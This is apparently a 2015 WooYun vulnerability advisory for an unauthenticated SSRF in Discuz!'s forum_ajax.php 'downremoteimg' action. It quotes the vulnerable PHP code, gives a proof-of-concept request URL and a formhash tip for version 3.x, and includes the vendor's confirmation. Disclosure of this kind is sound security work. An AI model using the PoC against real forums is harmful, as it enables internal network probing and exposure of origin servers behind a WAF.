当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0151179

漏洞标题:Discuz!另一处SSRF无须登陆无须条件

相关厂商:Discuz!

漏洞作者: Jannock

提交时间:2015-11-02 08:57

修复时间:2015-12-17 14:48

公开时间:2015-12-17 14:48

漏洞类型:设计缺陷/逻辑错误

危害等级:中

自评Rank:6

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-11-02: 细节已通知厂商并且等待厂商处理中
2015-11-06: 厂商已经确认,细节仅向厂商公开
2015-11-09: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航
2015-12-31: 细节向核心白帽子及相关领域专家公开
2016-01-10: 细节向普通白帽子公开
2016-01-20: 细节向实习白帽子公开
2015-12-17: 细节向公众公开

简要描述:

SSRF对于小程序来说,并不是什么问题,但对于大企业来说,这可能是极严重的。。。并且泄露了真实IP,这对于WAF来说算是严重的问题。

详细说明:

文件:
source/module/forum/forum_ajax.php

} elseif($_GET['action'] == 'downremoteimg') {
$_GET['message'] = str_replace(array("\r", "\n"), array($_GET['wysiwyg'] ? '<br />' : '', "\\n"), $_GET['message']);
preg_match_all("/\[img\]\s*([^\[\<\r\n]+?)\s*\[\/img\]|\[img=\d{1,4}[x|\,]\d{1,4}\]\s*([^\[\<\r\n]+?)\s*\[\/img\]/is", $_GET['message'], $image1, PREG_SET_ORDER);
preg_match_all("/\<img.+src=('|\"|)?(.*)(\\1)([\s].*)?\>/ismUe", $_GET['message'], $image2, PREG_SET_ORDER);
$temp = $aids = $existentimg = array();
if(is_array($image1) && !empty($image1)) {
foreach($image1 as $value) {
$temp[] = array(
'0' => $value[0],
'1' => trim(!empty($value[1]) ? $value[1] : $value[2])
);
}
}
if(is_array($image2) && !empty($image2)) {
foreach($image2 as $value) {
$temp[] = array(
'0' => $value[0],
'1' => trim($value[2])
);
}
}
require_once libfile('class/image');
if(is_array($temp) && !empty($temp)) {
$upload = new discuz_upload();
$attachaids = array();
foreach($temp as $value) {
$imageurl = $value[1];
$hash = md5($imageurl);
if(strlen($imageurl)) {
$imagereplace['oldimageurl'][] = $value[0];
if(!isset($existentimg[$hash])) {
$existentimg[$hash] = $imageurl;
$attach['ext'] = $upload->fileext($imageurl);
if(!$upload->is_image_ext($attach['ext'])) {
continue;
}
$content = '';
if(preg_match('/^(http:\/\/|\.)/i', $imageurl)) {
$content = dfsockopen($imageurl);
} elseif(preg_match('/^('.preg_quote(getglobal('setting/attachurl'), '/').')/i', $imageurl)) {
$imagereplace['newimageurl'][] = $value[0];
}


$content = dfsockopen($imageurl);
处,直接可以传入URL,造成SSRF

漏洞证明:

http://xxxx/bbs/forum.php?mod=ajax&action=downremoteimg&message=[img=1,1]http://xxxxxxxxxxxxxx.jpg[/img]&formhash=09cec465


3.x 版本如果请求提示xss拦截要带上 formhash 加cookie,之前版本好像不用。

0.png

修复方案:

这个我也不懂!

版权声明:转载请注明来源 Jannock@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:10

确认时间:2015-11-06 09:58

厂商回复:

感谢您提出的问题,我们尽快予以修复

最新状态:

暂无